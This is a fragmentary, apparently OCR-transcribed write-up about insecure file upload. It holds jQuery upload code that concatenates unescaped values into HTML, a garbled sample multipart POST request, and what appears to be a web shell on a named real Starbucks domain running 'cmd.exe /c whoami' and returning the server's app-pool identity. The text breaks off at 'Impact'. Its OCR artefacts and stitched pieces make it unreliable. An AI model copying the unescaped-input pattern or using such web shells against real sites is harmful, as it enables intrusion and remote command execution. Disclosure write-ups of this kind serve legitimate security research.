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//create form
var formId = 'jUploadForm' + id;
var fileId = 'jUploadFile' + id;
var form = jQuery('<form action="" method="POST" name="' + formId + '" id="' + formId + '" enctype="multipart/form-data"></form>');
if (data) {
for (var i in data)
jQuery('<input type="hidden" name="' + i + '" value="' + data[i] + '" />').appendTo(form);
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multipart/form-data

Firefox sent:

POST / HTTP/1.1

[[ Less interesting headers ... 1]

Content-Type: multipart/form-data; boundary: 73532303139¢
Content-Length: 834

735323031399963166993862150
Content-Disposition: form-data; name="text1"

text default
735323031399963166993862150
Content-Disposition: form-data; name="text2"

awb

735323031399963166993862150
Content-Disposition: form-data; name="filel"; filename="a.txt"
Content-Type: text/plain

Content of a.txt.
735323031399963166993862150

Content-Disposition: form-data; name="file2"; filename="a.html"
Content-Type: text/html

<!DOCTYPE html><title>Content of a.html.</title>

735323031399963166993862150
Content-Disposition: form-data; name="file3"; filename="binary"
Content-Type: application/octet-stream

awb
735323031399963166993862150——
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[ & & @' © & https://mobile.starbucks.com.sg/api/b33204e6-d8fd-4f55-b09e-4a3be6ff3309.aspx

Program c:\windows\system32\cmd.exe

Arguments /c whoami

Run

iis apppool\cards.starbucks.com.hk

Impact
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